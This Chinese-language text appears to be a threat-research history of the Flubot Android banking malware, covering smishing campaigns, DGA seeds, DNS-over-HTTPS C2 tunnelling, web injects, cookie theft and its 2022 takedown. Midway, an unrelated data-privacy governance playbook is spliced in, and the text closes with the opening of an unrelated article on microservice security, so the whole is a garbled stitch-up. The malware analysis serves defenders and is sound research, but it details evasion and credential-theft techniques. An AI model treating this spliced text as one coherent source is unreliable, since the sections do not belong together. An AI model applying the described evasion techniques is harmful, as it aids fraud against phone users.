Flubot不僅是一個非常活躍的家族,其幕後的開發者也一直非常積極的在更新其新功能。

2022年6月1日,歐洲刑警組織宣佈在包括11個國家的聯合行動中取締Flubot。荷蘭警方在這次行動中發揮了關鍵作用,並於2022年5月成功摧毀了基礎設施,使這種惡意軟件變得不活躍。

初始版本:Flubot0.1-3.3版本一開始便針對西班牙發起攻擊,並迅速成為一種新型Android惡意軟件Flubot樣本於2020年11月-12月間首次在野外被發現。有關此惡意軟件的公開信息於2021年1月6日由ThreatFabric首次傳播。儘管ThreatFabric是第一個傳播關於這個新家族的公共信息並將其稱為“Cabassous”的人,但研究界更願意將這種惡意軟件稱為Flubot。

2.png

在最初的活動中,Flubot是使用Fedex和Correos虛假短信傳播的。在這些消息中,用戶被重定向到一個虛假網站,該網站會偽裝成一個“登陸頁面”,用於下載本應是一個Android應用程序來跟踪運輸。

3.png

3.2.png

在使用Flubot3.4之前的最初活動版本中,攻擊者使用每個國家的特定樣本支持其他國家的新活動。不同國家的樣本不同的原因是:

——域生成算法(DGA)。它使用不同的種子每月生成5000個不同的域。比如德國使用1945作為DGA的種子。

——用於從受感染的設備發送更多的傳播詐騙短信的電話國家代碼,並屏蔽這些號碼,以避免受害者之間的通信。

初始版本(從0.1到3.3)中沒有功能相關的重大變化。它主要專注於傳播活動,試圖感染盡可能多的設備。

在最初的版本中有一個重要的更改,但是很難找到首次引入此更改的確切版本,因為在公共存儲庫中有些版本沒有示例。攻擊者們引入了網絡注入來竊取證書,這是Android設備上最流行的竊取證書的策略。該功能於2020年12月在0.1到0.5版本之間被引入。

在那些最初的版本中,開發者們在短短幾天內就增加了惡意軟件的版本號,而沒有做出重大改變。大多數樣本,尤其是2.1版本之前的樣本,都沒有上傳到公共惡意軟件庫,這使得追踪Flubot的第一個版本變得更加困難。

4.png

在這些初始版本(0.5之後)中,攻擊者還引入了其他不太流行的功能,例如用於撥打特殊號碼來賺錢的“USSD”(“RUN_USSD”命令),它是在版本1.2和1.7之間的某個時間點引入的。事實上,Flubot的攻擊者似乎並未真正使用此功能。最常用的功能是用於竊取銀行和加密貨幣平台憑據的Web注入以及發送SMS功能以傳播和感染新設備。

從2.1到2.8,研究人員觀察到攻擊者開始對Flubot的實際負載使用不同的打包程序。它可以解釋為什麼我們無法在2.1和2.8之間的公共存儲庫中找到樣本,可能有一些“內部”版本。

用於嘗試不同的打包程序或使其與新打包程序一起使用。

2021年3月:Flubot版本3.4-3.7新增了針對新的國家的攻擊和傳播活動的功能在幾個月的時間裡,研究人員專注於Flubot的傳播活動忽略了惡意軟件本身的新功能,在3.4版本中,攻擊者對DGA代碼進行了一些修改。在這個版本中,他們將生成域的數量從每月5000個減少到2500個。乍一看,這似乎是一個不起眼的改變,但因個改變,攻擊者可以以更容易的方式在不同的國家傳播Flubot,因為每個國家都使用了具有不同參數的不同樣本。

事實上,我們可以在2021年3月18日看到針對德國受害者定制的新版本(3.6)。僅僅五天后,又傳播了另一個版本(3.7),其中有一些有趣的變化。攻擊者們試圖在西班牙和德國的廣告家族中使用相同的樣本,包括用換行符分隔的西班牙和德國電話國家代碼以阻止受感染設備發送短信的電話號碼。

5.png

與此同時,攻擊者們推出了一項針對匈牙利的新活動。到3月底,開發者們在3.7版中引入了一項新變化:這是出現在DGA中的一個重要變化,因為他們將“.com”頂級域名替換為“.su”。這一變化對於跟踪Flubot很重要,因為現在攻擊者可以使用這個新的TLD來註冊新的C2的域。

2021年4月:Flubot版本3.9-4.0中出現了DoH和一些獨特的樣本自3月下旬以來,攻擊者們似乎一直在開發新版本:Flubot3.9。在這個新版本中,他們引入了DNS-over-HTTPs(DoH)。此新功能用於解析DGA生成的域名。這樣,檢測網絡中受感染的設備變得更加困難,因為安全解決方案無法檢查到。

正在解析哪些域。

在下圖中,我們展示了這個新版本的反編譯代碼,包括新的DoH代碼。攻擊者們保留了舊的經典DNS解析代碼。攻擊者引入了代碼來隨機選擇是否應該使用DoH或經典DNS。

6.png

DoH的引入並不是Flubot3.9新增的唯一功能。攻擊者們也添加了一些UI信息,以準備未來針對意大利的活動。

幾天后,這些消息在新的Flubot4.0版本中使用,其中攻擊者開始為所有活動使用一個樣本,不再針對不同國家/地區的唯一樣本。

在這個新版本中,在之前版本的Flubot中使用的目標國家參數是根據受害者的設備語言選擇的。這樣,如果設備語言是西班牙語,那麼使用西班牙語參數。選擇以下參數:

——DGA種子;

——用於smishing和電話號碼封鎖的電話國家代碼;

2021年5月:Flubot4.1-4.3版本對基礎設施和C2服務器進行了改進2021年5月,4.0版的惡意軟件中出現了一個新的更新,一個用於解析DGA域的DoH服務器的更改。現在他們不再使用CloudFlare的服務器,而是開始使用谷歌的服務器。這是使用新版本Flubot4.1的第一步。

在這個新版本中,攻擊者再次更改了用於解析C2域的DoH服務器。在這種情況下,他們引入了三種不同的服務或DNS服務器:Google、CloudFlare和AliDNS。最後一個是在Flubot生命週期中第一次用於解析DGA域。

7.1.png

7.2.png

隨機選擇這三個不同的DoH服務或服務器來解析生成的域,最終向任何活動的C2服務器發出請求。

這些變化還在比利時引發了一場新的活動,攻擊者使用虛假的BPost應用程序和smishing消息來引誘新的受害者。一周後,土耳其也出現了類似的活動,這次是一個新的Flubot版本,與C2協議相關的重要變化。

Flubot4.2的第一個樣本出現在2021年5月17日,其中對用於與C2服務器通信的代碼進行了一些重要更改。在這個版本中,惡意軟件使用C2中的新路徑“p.php”發送HTTP請求,而不是經典的“poll.php”路徑。

8.png

乍一看,這似乎是一個微小的變化,但仔細觀察代碼,我們意識到這一變化背後有一個重要原因:攻擊者更改了用於與C2服務器通信的協議的加密方法。

以前版本的Flubot使用簡單的XOR加密來加密與C2服務器交換的信息,但這個新版本4.2使用RC4加密來加密該信息,而不是經典的XOR。這樣,C2服務器仍然同時支持舊版本和新版本:

poll.php和poll2.php用於使用舊的XOR加密發送/接收請求;

p.php用於使用新的RC4加密發送和接收請求;

9.png

除了4.2版的新協議加密之外,攻擊者在5月底還增加了對羅馬尼亞新活動的支持。

最後,在2021年5月28日,發現了Flubot4.3的新樣本,並進行了微小的更改,主要集中在惡意軟件實現的字符串混淆上。

2021年6月:Flubot4.4-4.6版本新出現了語音信箱,並出現在新的國家在發現Flubot4.3的第一個樣本幾天后(2021年5月31日和2021年6月1日),研究人員觀察到了Flubot的新樣本即版本號增加到4.4。

不過這個新版本沒有太大的變化。攻擊者們只是增加了對葡萄牙活動的支持。正如我們在4.3和4.4版本中看到的那樣,Flubot的攻擊者們經常會在短短幾天內通過細微的更改,這樣就可以提高版本號了。有些版本甚至沒有在公共存儲庫中找到(例如3.3版),這表明有些版本從未公開使用過,或者只是跳過了。也許那些“從未被使用的版本”在傳播服務器中只持續了幾個小時,並迅速更新以修復漏洞。

在6月份,攻擊者們幾乎沒有對功能進行任何更改,而是在致力於新的傳播活動。

在4.5版中,攻擊者們將斯洛伐克、捷克共和國、希臘和保加利亞添加到未來活動的國家列表中。攻擊者們為他們所有人重複使用相同的DGA種子,因此傳播此版本不需要他們做太多工作。

在發現4.5版幾天后,研究人員很快又發現了一個新的4.6版,並新增了奧地利和瑞士。此外,重新引入了在先前版本中刪除的一些國家:瑞典、波蘭、匈牙利和荷蘭。

這個新版本的Flubot不僅覆蓋了更多的國家/地區,攻擊者們還引入了一種新的誘餌:語音郵件。在這個新的“語音郵件”活動中,受感染的設備被用來向新的潛在受害者發送短信,其中用戶被引導到一個虛假網站。在攻擊者安裝“語音郵件”應用程序之後,它應該允許用戶收聽收到的語音郵件消息。在下圖中,我們可以看到針對西班牙用戶的VoiceMail活動。

10.png

2021年7月是活動較少的月份。在這個月,只有一個版本更新在本月初被觀察到,即Flubot4.7。這個新版本沒有根據國家或設備語言使用不同的DGA種子。攻擊者開始從種子列表中隨機選擇種子,這些種子和之前用於國家或設備語言的種子是一樣的。

11.png

除了與DGA種子相關的變化外,攻擊者還新增了一些國家,如塞爾維亞、克羅地亞和波斯尼亞和黑塞哥維那。

Flubot在夏天幾乎沒有活動,可能是開發人員忙於他們的暑假。在8月和10月攻擊者會陸續恢復他們的活動。

2021年8月至9月:Flubot4.7-4.9版本開始出現

在4.7版本中,攻擊者將澳大利亞也列入了攻擊名單。

僅僅一周後,攻擊者就發布了4.8版本,研究人員在其中發現了一些與UI消息和警報對話框相關的細微變化。

12.png

今年9月,Flubot又出現了一個版本變化,4.9版本出現了一些更小的變化,就像之前的4.8版本一樣。這一次,攻擊者在C2服務器中引入了新的web注入來竊取受害者的憑證。這兩個有微小變化(不是很相關)的新版本似乎是一種功能的回歸。在研究人員看來,這兩個月發生的最有趣的事情是攻擊者開始使用Flubot殭屍網絡傳播另一個惡意軟件家族。研究人員從C2服務器收到了一些smishing任務,其中虛假的“語音郵件”網站正在為Teabot(也稱為Anatsa和Toddler)而不是Flubot提供服務。

這非常有趣,因為它表明Flubot的攻擊者也可能與這個惡意軟件家族有關,或者至少可能有興趣將殭屍網絡出售給其他惡意軟件開發者,以達到欺騙的目的。正如我們將看到的,這不是Flubot傳播的唯一家族。

這是一本用於評估、操作和加速智能數據隱私解決方案的分步工作手冊,在上一篇文章中已經闡述了製定隱私計劃策略的整體思路和實施步驟的前三部分,在這本文中將繼續圍繞數據隱私治理最佳實踐的剩餘部分。

隱私與安全數據智能由於您的數據環境不斷變化,因此根據數據源系統的更改頻率以及數據隱私政策和法律的更新,安排掃描和分析活動。這使您能夠以一致性進行擴展,並發現新的數據風險,以便現在進行優先排序。

對數據分類和用戶活動的深入了解提供了所需的數據智能,以便就如何最好地協調數據保護計劃做出明智的決策,從而優化隱私運營計劃的投資回報率。

隱私運營指標和報告管理個人和敏感數據的風險需要智能洞察,使您的數據利益相關者能夠根據風險指標、警報和報告以及摘要儀錶盤調整優先級。這使分析員能夠溝通隱私操作,例如控制措施的有效性和已實施的自動化風險補救計劃。

需要尋找的關鍵隱私操作功能包括:

風險評分——被掃描數據存儲的總體或特定隱私暴露的指標,以及隨時間變化的趨勢。

數據保護狀態——顯示通過掃描數據存儲而受保護的敏感字段和文件的百分比或數量。

數據敏感度級別——如果數據存儲符合掃描的關鍵標準,則基於分類策略(受限、機密、內部、公共等)的數據存儲的百分比或數量。

殘餘風險等級——補救暴露敏感數據的數據洩露所需的費用(如美元價值)。指標可以包括與敏感數據相關的數據字段和文件的數量、印象和趨勢。

按位置(數據存儲、部門、地理位置)和風險類型(如監管要求)將風險細分為風險的透明度

與一個或多個目標數據存儲共享的敏感數據匹配分類策略的數據存儲。

此外,風險優先級規劃必須通過突出隱私狀態的關鍵指標來實現知情決策:

優先級字段最多的敏感字段數量,例如列表和趨勢視圖。

優先級數據存儲最多的敏感字段,例如列表和趨勢視圖。

重點位置集中在哪些組織部門等位置。

基於用戶訪問和使用敏感數據的優先用戶風險。

數據隱私治理和安全儀錶盤可以突出顯示最高風險優先級、暴露成本,以及自動化補救措施(包括數據匿名化、報告、使用第三方工具編寫腳本等)的趨勢。

fcc7db2f-20bb-405a-a26f-89756a41b420.png

儀錶盤視圖示例

四、採取措施:補救數據風險您的組織需要加強數據保護並實現透明度,以降低風險並遵守隱私規定。根據新的數據智能、安全和隱私控制可以實現自動化和協調,以降低數據風險暴露,加快安全數據使用,從而為企業創造價值機會。

今天的數據隱私法規不僅要求數據受到保護並報告為安全的,還考慮到消費者權利要求個人數據的使用或共享方式具有透明度。針對風險的補救措施可能需要通過數據主體報告進行數據脫敏或刪除,以驗證個人數據的使用是否符合消費者的權利,以便進行適當的使用。

此外,儘管侵犯數據隱私可能會導致監管部門罰款,但其他類型的敏感信息(如知識產權和商業秘密)也需要保護,以免被濫用。這些數據應被視為整個組織的關鍵、高價值資產,以避免因安全漏洞和其他利用漏洞而造成的損失。

優先考慮您需要考慮的風險修復選項來協調數據隱私控制:

數據保護安全性——如數據去識別和最小化,可以在脫敏或匿名時轉換數據以供安全使用,也可以將其從進一步暴露中移除。

報告數據風險的透明度——可以在審計期間彌補漏洞,提醒利益相關者保護狀態,並通過數據主體報告(DSR)通知客戶他們的數據正在被處理,符合他們的權利。

運營自動化——隱私分析師可能需要向服務台、票務和跟踪系統提供數據智能,以進一步處理數據,以實現可視性和行動。

基於API的集成——為了協調補救,可以使用與第三方應用程序的腳本來控制基於用例的數據暴露,例如雲數據湖加密或測試數據/DevOps工具。

五、負責任的數據使用培訓解決方案用戶需要接受培訓,以了解智能數據隱私的好處,並學習如何有效地使用數據。業務和IT部門都需要一個計劃來培訓員工以支持解決方案,然後教用戶如何使用它來降低風險,實現安全的數據使用,並與組織利益相關者和消費者建立更高的透明度。

以下是通過培訓促進數據隱私治理採用的四項行動:

培訓內部支持人員。因為您的支持人員將作為您的內部數據隱私專家,所以培訓他們了解安全和負責任的數據使用最佳實踐。利用現有培訓材料,考慮供應商或服務夥伴提供的專業服務。您將需要定制培訓,以符合組織對數據的特定行業和隱私合規性要求。

培訓業務冠軍。讓您的數據主體專家參與培訓內部數據消費者,並充當影響者,推動業務用戶的採用。可以利用您的支持專家來培訓解決方案。專注於安全數據使用,作為一個加速器,使數據民主化,用於開發和改進新產品和服務、可信分析、數據安全到雲,以及通過信任提高客戶忠誠度。

為最終用戶創建培訓內容。讓業務數據主體專家為最終用戶定義實踐培訓內容,包括用例場景、發現和風險分析。培訓應定位並比較智能數據隱私方法,以演示自動化解決方案的好處。它還應該傳達您的程序策略,以便用戶了解大局,這將幫助您更好地設定長期推出的預期。此外,創建簡短的教育視頻和指南,解釋如何使用解決方案執行特定於組織數據的任務。

開放的辦公時間。在培訓課程結束後留出幾週時間,讓用戶有時間更加熟悉數據隱私解決方案。然後,提供一對一的開放辦公時間,使用數據隱私解決方案解決用戶特定的現實問題,並根據目標評估取得的進展。

六、跟踪使用情況並徵求反饋你無法改進你沒有衡量的東西。因此,閉環、衡量結果和收集反饋至關重要。

跟踪使用情況和隱私指標從監控解決方案使用和跟踪捕獲業務影響的指標開始。這些指標可能包括:

掃描的數據源

清點和分類的數據

最大風險:數據存儲和類型、位置

DSAR報告(數字、完成時間)

數據保護狀態(百分比、數字)

殘餘風險成本(優先規劃)

利用這些信息了解用戶採用情況,展示成功,並解決您發現的挑戰,以幫助推動和改善有意義的結果。

例如,隱私分析可能表明營銷部門處理更多的PII,從而產生更高的風險敞口。您可以使用這種智能來協調數據匿名化,以屏蔽特定的數據字段,而不會犧牲安全訪問記錄的總體數據實用程序。

通過了解數據使用情況,自動檢測訪問條件中的異常情況,並糾正不必要的暴露,您的數據保護計劃可以成為越來越多違反法規遵從性政策的行為與發現新的、未開發的數據之間的區別,這有助於為渴望數據的業務股東創造價值創造機會。

收集用戶反饋組織實施數據隱私解決方案,以發現和管理風險,提高情報和透明度,並保護數據。通過收集反饋並鼓勵數據用戶之間的協作,您可以利用有關數據的專業知識,並在整個組織內安全地共享數據。通過以下方式鼓勵合作並徵求用戶反饋:

從安全風險(降低風險)和安全價值創造的角度來宣傳隱私。

通過遊戲化為用戶提供審查風險的任務,增加興奮度和參與度,以發現最重要的事項。

舉辦後續研討會,通過分享技巧和竅門,討論哪些方法有效,哪些需要改進,以促進最佳實踐的採用。

七、精益求精一旦你的試點項目被證明是成功的,在業務優先級的指導下擴大隱私解決方案的使用。通過逐步向試點添加更多用戶、實施新用例,甚至創建自定義數據洞察,提高解決方案的採用率,同時確保業務涉眾能積極的參與每一個步驟。

列出你從試點項目那裡學到的關鍵見解

列出試點項目取得的快速勝利

優先考慮可以通過擴展程序來解決的新用例和難點

確定可以從中受益的新數據涉眾

擴展您的智能數據隱私功能在擴展數據隱私解決方案時,您可能希望進一步對其進行定制,以支持特定的隱私用例或監管要求。為您的隱私解決方案提供可擴展性並以一致的方式向外擴展是至關重要的。尋找能夠提供以下功能的解決方案:

自定義修復操作根據觸發的策略或按需運行的任務來考慮自定義操作。這可能包括:

在滿足風險閾值條件時屏蔽數據或運行工作流腳本

如果發生違反安全策略的情況,則向收件人發送警報,以便在發現需要通知的信息時自動處理數據主體請求或電子郵件

在違反策略、滿足數據主體請求或發現其他問題需要幫助台跟進時,創建服務管理記錄單

與syslog集成,聚合違反安全策略的行為,實現集中報告的靈活性和提醒

檢測預期行為中的異常異常檢測是一個識別敏感數據上用戶活動異常模式的過程。這可能表明存在惡意行為,例如數據洩露或憑據被盜。您的智能隱私解決方案需要能夠監控活動,通過跟踪一段時間內的趨勢來確定用戶和用戶對等組的基線行為。當用戶行為偏離基線時,可以將異常作為潛在風險進行警告和調查,以確定優先級,並使用首選的風險補救方法採取行動。

創建風險模擬計劃作為一項持續的隱私操作,您需要製定計劃,以降低一個或多個數據存儲中未受保護的敏感數據域的風險分數和剩餘風險成本。

對於每個風險模擬計劃,您應該能夠調整掃描數據存儲中敏感數據字段的保護狀態,以模擬在發生安全漏洞時對組織潛在成本的影響。

作為計劃詳細信息的一部分,風險模擬指標應以為組織選擇的貨幣顯示當前和估計的風險分數、保護狀態和剩餘風險成本。這有助於溝通並證明您提出的投資是合理的,以便為最佳投資回報率排定優先級並糾正風險。

風險模擬應該指出計劃中每個數據存儲的當前值和估計值,以及編輯計劃以保護更多數據域或關注更少數據域的靈活性

建立數據主體註冊表今天的數據隱私合規法律要求及時報告整個組織的個人數據使用情況。通過將數據映射到身份,建立數據主體註冊中心,您可以獲得數據智能洞察,以了解消費者使用了哪些數據,以及居住和法律持有狀態等屬性。除了數據沿襲,您還可以深入了解用戶權限的合規狀態,跟踪跨境數據傳輸,並在法律規定的時間範圍內自動生成DSAR報告。

結論:加快將數據作為業務資產的使用智能數據隱私解決方案通過全面的數據保護加速了數字轉型,並實現了用於風險管理的透明度。使用自動化操作控制的好處包括更快、更可靠的數據發現、更短的智能洞察時間,以及降低安全釋放價值創造機會的風險。

通過實施智能數據隱私,您可以將完全不同的機密數據作為企業資產加以保護。但要從數據中產生最大價值,不僅需要IT和安全部門廣泛採用,還需要業務用戶廣泛採用。

越來越多的敏感和個人信息提供了獲取客戶新見解、推動產品和服務創新、優化商業計劃以釋放未開發潛力的能力。但數據需要負責任地處理,以避免造成責任。通過遵循本手冊中概述的方法來演示、自動化和協調數據保護和透明度,您可以更好地讓業務用戶了解保護企業數據的價值,加快在整個組織中採用數據隱私控制,並將風險置於後視鏡中。

2021年10月至11月:Flubot4.9版出現了“Android安全更新”活動和新的重大協議更改在10月和11月的大部分時間裡,Flubot的攻擊者們沒有修改惡意軟件的版本號。

在10月初,研究人員看到了一個不同於之前DHL/Correos/Fedex或者“語音郵箱”的活動。這一次,攻擊者們開始將Flubot作為一個假冒的Android安全更新。

似乎這個新的傳播活動沒有按預期工作,因為幾天后攻擊者們繼續使用“語音郵件”傳播活動。

安靜了一段時間以後,直到11月下旬,新樣本又重新出現了,對用於與C2服務器通信的協議進行了重大更改。現在,攻擊者們不再隨意增加版本號了,即使有像這樣的重大變化。

此協議更改允許惡意軟件與C2服務器進行通信,而無需與它們建立直接連接。 Flubot使用TXTDNS請求到常見的公共DNS服務器(Google、CloudFlare和AliDNS)。然後,這些請求被轉發到實際的C2服務器(實現DNS服務器)以從服務器獲取TXT記錄響應並將其轉發給惡意軟件。從受感染設備中竊取的信息是使用RC4加密發送的(與以前的協議版本中使用的方式非常相似)並對加密字節進行編碼。這樣,編碼的有效載荷被用作DGA生成域的子域。來自C2服務器的響應也被加密和編碼為對TXT請求的TXT記錄響應,它包括執行傳播活動的smishing任務或用於竊取憑據的Web注入的命令。

13.png

通過這個新協議,Flubot使用來自谷歌和CloudFlare等知名公司的DoH服務器與C2服務器建立某種隧道。使用這種技術,通過網絡流量監控檢測惡意軟件非常困難,因為惡意軟件沒有直接與未知或惡意服務器建立連接。此外,由於它使用的是DoH,所有的DNS請求都是加密的,因此網絡流量監控無法識別那些惡意的DNS請求。

C2服務器協議中的這一重大變化也可以解釋前幾個月的低活躍度。可能開發人員正在努力改進協議以及惡意軟件和C2服務器後端代碼。

2021年12月:Flubot5.0-5.1版中出現了“FlashPlayer”活動和DGA更改最終,攻擊者們在12月決定將版本號提高到5.0。這個新版本帶來了一個小而有趣的變化:除了web注入HTML和JavaScript代碼之外,Flubot現在還可以接收url。在5.0版本之前,C2服務器會發送web注入代碼,當受害者打開目標應用程序以竊取憑證時,這些代碼被保存在設備上以備將來使用。從5.0版本開始,C2服務器轉而發送URL,所以Flubot的惡意軟件必須訪問URL並將HTML和JavaScript源代碼保存在內存中以備將來使用。

14.png

直到12月底,攻擊者們才發布了Flubot5.1。12月31日,研究人員首次發現了Flubot5.1的樣本。接著在1月2日,Flubot5.2的樣本就出來了。 5.1版對DGA進行了一些重要更改。這一次,攻擊者引入了大量TLD來生成新域,同時還引入了一個用於從C2服務器接收新的DGA種子的新命令——UPDATE_ALT_SEED。根據研究人員的研究,這個新命令從未被使用過,因為所有新感染的設備都必須使用硬編碼種子生成的域連接到C2服務器。

15.png

除了去年12月的新變化和新功能,攻擊者們還推出了一個新的活動:“FlashPlayer”。該活動與“語音郵箱”活動一起使用,後者仍然是最常用於傳播Flubot的活動。在這次新活動中,受感染設備向受害者發送了一條短信,試圖誘使他們安裝一個“FlashPlayer”應用程序,以便觀看受害者出現的虛假視頻。下圖顯示了傳播網站是多麼簡單,當受害者打開鏈接時顯示。

16.png

2022年1月:Flubot5.2-5.4版本改進Smishing功能和新的“直接回复”功能在2022年1月初,研究人員檢測到了新版Flubot的新樣本。這一次,5.2版引入了一些細微的變化,其中攻擊者增加了對smishing任務的更長文本消息的支持。他們不再使用通常的Android的“sendTextMessage”功能,而是開始使用“sendMultipartTextMessage”和“divideMessage”。這允許他們使用較長的消息,並將其拆分為多個消息。

17.png

在發現5.2版本的新樣本幾天后,又檢測到了5.3版本的樣本。不過開發者卻沒有引入新功能,而是刪除了一些未使用的舊代碼。這個版本似乎是用來清理代碼的版本。此外,在Flubot5.3的第一個樣本出現三天后,就檢測到該版本的新樣本,並增加了新的國家:日本、香港、韓國、新加坡和泰國。

18.png

到1月底,攻擊者又發布了新版本:Flubot5.4。這個新版本引入了一個有趣的新功能:直接回复。該惡意軟件現在能夠攔截受感染設備中收到的通知,並使用從C2服務器接收到的配置消息自動回复它們。

19.png

為了獲取將用於回复通知的消息,Flubot5.4引入了一個新的請求命令“GET_NOTIF_MSG”。如下圖所示,此請求命令用於獲取消息,以便在接收到新通知時最終使用該消息。

20.png

儘管這是一個提高殭屍網絡傳播能力的有趣的新功能,但它並沒有持續太久。它在以下版本中被刪除。

就在同一個月,研究人員檢測到另一個Android銀行惡意軟件Medusa,它分佈在Flubot的一些smishing任務中。這意味著,Flubot殭屍網絡又一次被用作傳播殭屍網絡來傳播另一個惡意軟件家族。 2021年8月,它被用於傳播Teabot。現在,它已被用於傳播Medusa。

如果把這些現象聯繫起來,就可以解釋為什麼會有新的“直接回复”功能和“多部分消息”的使用。由於Medusa的攻擊者們提出了使用Flubot殭屍網絡作為傳播服務的建議,這些改進可能已經引入Flubot的新功能中了。

2022年2月至4月:Flubot5.5版中新增竊取cookie功能從1月下旬(研究人員第一次在野外觀察到5.4版)到2月下旬,將近一個月過去了,新版本才發布。研究人員認為這種情況的發生與之前的時間段相似,例如2021年8月至11月,當時攻擊者們就是在這個時間段對協議進行了重大更改。這一次,攻擊者們似乎正在悄悄地開發新的Flubot5.5,它帶有一個非常有趣的功能:Cookie竊取。

通過查看新代碼,研究人員首先意識到在請求目標應用列表時發生了一點變化。此請求必須包含受感染設備中已安裝應用程序的列表。因此,C2服務器將提供目標應用程序的子集。在這個新版本中,當執行“GET_INJECTS_LIST”請求時,“.new”被附加到已安裝應用程序的包名稱中。

21.png

一開始,當使用附加到數據包名的“.new”時,C2服務器使用URL進行響應,以獲取用於竊取憑據的Web注入。

過了一段時間,C2服務器開始回复銀行和加密貨幣平台的官方URL,這看起來很奇怪。在分析了代碼之後,研究人員發現他們還引入了代碼來竊取用於顯示web注入的WebView的cookie——在本案例中,目標實體的網站。網站不同UI元素的點擊和文本更改也會被記錄並發送到C2服務器,所以攻擊者不僅竊取cookie,他們還可以通過“鍵盤記錄”竊取憑證。

竊取cookie的代碼可以接收到一個URL,就像它可以接收到一個URL來獲取web注入一樣,但這次訪問的URL並沒有接收到web注入。相反,它接收一個新的URL(官方銀行或服務URL)來加載和竊取憑據。在下圖中,顯示了來自用於下載Web注入的受感染網站的響應。在本示例中,它被用來獲取用於竊取GMailcookie的有效負載(當受害者試圖打開Android電子郵件應用程序時顯示)。

22.png

當受害者登錄到合法網站後,Flubot將接收並處理網站加載結束的事件。此時,它獲取cookie並將它們發送到C2服務器,如下圖所示。

23.png

2022年5月:Flubot版本5.6出現,會是Flubot的最後一個版本嗎?果然沒過一個月,Flubot的新版本在5月初問世,即Flubot5.6。這是最後一個已知的Flubot版本。

這個新版本增加了一個有趣的新功能:彩信發送任務。借助這項新功能,攻擊者可以繞過運營商檢測。許多用戶被感染後,他們的設備在他們不知情的情況下發送短信。

為了增加這個新功能,攻擊者們添加了新的請求命令:

–GET_MMS:用於獲取電話號碼和要發送的短信(類似於之前用於發送短信的常用GET_SMS)

–MMS_RATE:用於獲取發出“GET_MMS”請求並發送消息的時間速率(類似於之前用於發送短信的通常SMS_RATE)。

24.png

這個版本在5月1日發布後,C2服務器在5月21日停止工作。他們直到5月25日才下線,但他們仍然不能正常工作,因為他們的回复都是空的。最終,在6月1日,歐洲刑警組織在他們的網站上公佈,他們在不同國家警察的合作下摧毀了Flubot的基礎設施。是荷蘭警方拆除了基礎設施。這可能是因為在2022年的某個時候,Flubot C2服務器將託管服務更改為荷蘭的託管服務,使其更容易被關閉。

這是否意味著Flubot的終結?目前還不能確定,但似乎警方沒能拿到RSA私鑰,因為他們沒有讓C2服務器發送命令來檢測並移除設備上的惡意軟件。

這意味著攻擊者只需註冊新的域名,在一個“更安全”的國家建立所有的基礎設施,並提供託管服務,就能讓Flubot回歸。由於離線時間的原因,攻擊者可以用較少的被感染設備恢復他們的殭屍網絡,但仍然有一些設備繼續發送欺騙消息來感染新的設備。這取決於攻擊者的意圖,因為警察似乎還沒有找到他們。

總結Flubot是過去幾年來最活躍的銀行惡意軟件家族之一。這可能是由於他們強大的傳播策略——詐騙。這個惡意軟件一直在使用被感染的設備向從受害者智能手機中竊取的手機號碼發送短信。但是,在這個人人都習慣於網上購物的時代,再加上虛假的包裹快遞信息,使其成為一個重要的威脅。

正如我們在這篇文章中看到的,攻擊者非常頻繁地引入了新功能,這使得Flubot更加危險和具有傳播性。這些更新和新功能的很大一部分是為了提高惡意軟件在不同國家的傳播能力,還有一些是為了提高證書和竊取信息的能力。

一些更新對協議進行了重大更改,使得通過網絡監控更難被檢測到,使用基於DoH隧道的協議,這在Android惡意軟件世界中確實不常見。在出現一年半後,攻擊者開始使用荷蘭的託管服務後,被警方關閉C2服務器。不過攻擊者仍然可以將基礎設施移回“更安全”的託管並註冊新的DGA域以恢復其殭屍網絡。現在確定Flubot終結還為時過早。

在Statista 2021 年的一項調查中,34% 的受訪者表示他們已經採用了微服務,37% 的受訪者表示他們部分使用了微服務,證明了這種開發方式的流行。

儘管微服務方法具有許多好處,包括易於擴展和管理,但它也隱藏了一些安全問題,例如可能的漏洞和通信風險。在開始開發過程之前了解預期的網絡安全風險以及如何解決這些風險將幫助您創建可靠且安全的產品。

在本文中,我們觀察了在開發應用程序時可能出現的基於容器和微服務的架構中的安全挑戰。我們還提供11 種微服務和容器安全最佳實踐。本文對那些想要有效提高產品安全性的人以及對容器和微服務不熟悉的人很有用。

什麼是容器和微服務?容器和微服務是應用程序開發的流行方法,尤其是對於復雜的解決方案。 O'Reilly 的2020 年微服務採用報告顯示,77% 的受訪者採用了微服務,其中92% 的人通過這種方法獲得了成功。此外,使用容器部署微服務的受訪者比不使用容器的受訪者更有可能報告成功。

在我們討論如何在微服務和容器中實現安全性之前,讓我們確切地探討一下這些方法是什麼以及它們為應用程序開發過程帶來了什麼好處。

容器化是一種虛擬化形式,使您能夠在稱為容器的隔離空間中運行應用程序,這些容器使用相同的共享操作系統(OS)。虛擬化允許在單個物理服務器的硬件上運行多個操作系統,而容器化允許您在單個虛擬機或服務器上使用相同的操作系統部署多個應用程序。

容器,也稱為應用程序容器或服務器應用程序容器,是包含應用程序代碼及其庫和依賴項的可執行軟件單元。根據美國國家標準與技術研究院(NIST) 的說法,應用程序容器相互隔離但仍共享底層操作系統的資源這一事實使開發人員更容易跨云有效地擴展應用程序。

開發人員更喜歡使用基於容器的架構,因為容器輕量級、可移植且易於維護和擴展。由於這些品質,容器可用於現代開發方法,如DevOps、無服務器和微服務。此外,開發人員可以精細控制每個容器可以使用多少資源,從而提高物理機的CPU 和內存利用率。

image.png

容器的好處

微服務架構,或簡稱微服務,是一種應用程序開發的架構方法,其中單個應用程序由許多小型自治服務組成。

微服務是可獨立部署的,與單體架構相比,它允許您改進應用程序代碼、添加新功能和擴展每個服務。使用微服務,您可以更新現有服務,而無需重建和重新部署整個應用程序。

每個服務代表一個單獨的代碼庫,因此可以由一個小型開發團隊管理。微服務架構簡化了創建和維護複雜應用程序的過程,但不適合小型應用程序。

微服務是松耦合的,所以如果一個服務發生故障,其餘的繼續工作,提高了整個應用程序的容錯能力。此外,它們支持多語言編程,這意味著服務不需要共享相同的技術堆棧、庫或框架。

image.png

微服務的好處

您可以單獨或一起使用容器和微服務。由於在本文中我們討論了使用這兩種方法開發應用程序的安全實踐,因此讓我們簡要探討如何將容器和微服務結合起來。

簡單來說,容器為應用程序封裝了一個輕量級的運行時環境。因此,當在容器中開發微服務時,它繼承了容器化的好處,例如可移植性、可擴展性和額外的安全層。容器為每個容器化應用程序或微服務提供隔離。因此,它們降低了安全漏洞傳播的風險。

通過在單獨的容器中運行微服務,您可以獨立部署它們,而不管每個微服務是用什麼語言編寫的。通過這種方式,容器化消除了語言、庫和框架之間任何摩擦或衝突的風險。

